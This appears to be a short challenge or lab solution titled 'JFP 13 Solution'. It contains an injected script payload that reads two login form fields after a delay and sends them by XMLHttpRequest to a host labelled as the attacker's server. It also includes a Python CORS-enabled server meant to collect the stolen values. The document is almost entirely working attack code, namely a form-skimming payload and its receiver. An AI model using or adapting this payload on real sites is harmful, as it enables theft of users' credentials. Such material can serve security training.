JFP 13 Solution [XmlHttpRequest]

<script>
window.setTimeout(function(){
var oReq = new XMLHttpRequest();
var arr = document.querySelectorAll('.input-block-level');
var param = "http://localhost:8000/?user="+arr[0].value+"&value="+arr[1].value;
oReq.open("GET", param);
oReq.send()
},10000);
</script>


/* ATTACKERS SERVER */
/*
#!/usr/bin/env python2
from SimpleHTTPServer import SimpleHTTPRequestHandler
import BaseHTTPServer

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        self.send_header('Access-Control-Allow-Origin', '*')
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)
*/